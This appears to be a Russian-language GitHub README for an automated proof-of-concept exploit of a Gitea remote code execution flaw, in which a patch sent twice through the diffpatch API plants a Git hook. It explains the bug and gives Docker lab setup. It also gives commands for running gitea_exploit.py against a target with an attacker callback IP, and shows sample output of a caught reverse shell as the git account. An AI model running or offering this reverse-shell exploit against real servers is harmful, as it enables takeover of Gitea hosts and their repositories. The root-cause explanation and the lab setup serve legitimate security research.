yym8538/cve-2026-60004Автоматизированный proof-of-concept эксплойт для CVE-2026-60004 — RCE через Git-хук diffpatch в Gitea, который устанавливает хук post-index-change для получения обратной оболочки от имени сервисной учётной записи.
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 — это уязвимость удалённого выполнения кода (RCE) в Gitea. API
diffpatchприменяет переданный патч с помощьюgit apply --cached, который должен затрагивать только индекс и никогда не записывать файлы на диск. Отправляя один и тот же патч дважды, атакующий вызывает коллизию add/add, которая запускает резервный трёхсторонний merge Git (-3). Этот путь игнорирует--cachedи выгружает файл в рабочее дерево. Поскольку временный клон является bare, корнем его рабочего дерева выступает$GIT_DIR. Поэтому патч, создающий исполняемый , размещает рабочий Git-хук, который Git автоматически запускает при следующем обновлении индекса — выполняя команды от имени сервисной учётной записи Gitea. Для доступа к эндпоинту нужны права на запись в репозиторий, но регистрация включена по умолчанию, поэтому любой пользователь, способный зарегистрироваться и создать репозиторий, может до него добраться.
hooks/post-index-change| Категория | Версия |
|---|---|
| Уязвимые | Gitea 1.17 ≤ версия ≤ 1.27.0 |
| Исправленные | Gitea 1.27.1 или новее |
git)Соберите и запустите уязвимое окружение Gitea. Регистрация оставлена открытой, а
сервер поставляется с Git 2.32+, что включает резервный режим -3, на который опирается атака.
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| Предусловие | Состояние в этой лаборатории |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
Git 2.32+ на сервере (включает -3) | 2.54 |
| Открытая регистрация | включена (по умолчанию) |
| Права на запись в репозиторий | через самостоятельно зарегистрированную учётную запись |
Эксплойт полностью автоматизирован в gitea_exploit.py. Имея учётную запись, способную
создавать репозиторий, он создаёт целевой репозиторий, отправляет один и тот же патч
повторно, пока не сработает резервный режим -3 в Git, и перехватывает обратную оболочку
встроенным слушателем — без ручной настройки, составления патчей или вычисления хешей блобов.
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
Резервный режим -3 срабатывает только в определённых временных окнах, поэтому скрипт
циклически выполняет create → send → send, пока не поймает срабатывание (по умолчанию 25 попыток). Когда отправка блокируется,
хук сработал, и слушатель помещает вас в оболочку от имени git:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
Опции:
--no-listen — перехватить оболочку своим внешним nc вместо встроенного слушателя--user / --pw / --repo / --branch — переопределить учётную запись по умолчанию и целевой репозиторийDISABLE_REGISTRATION=true)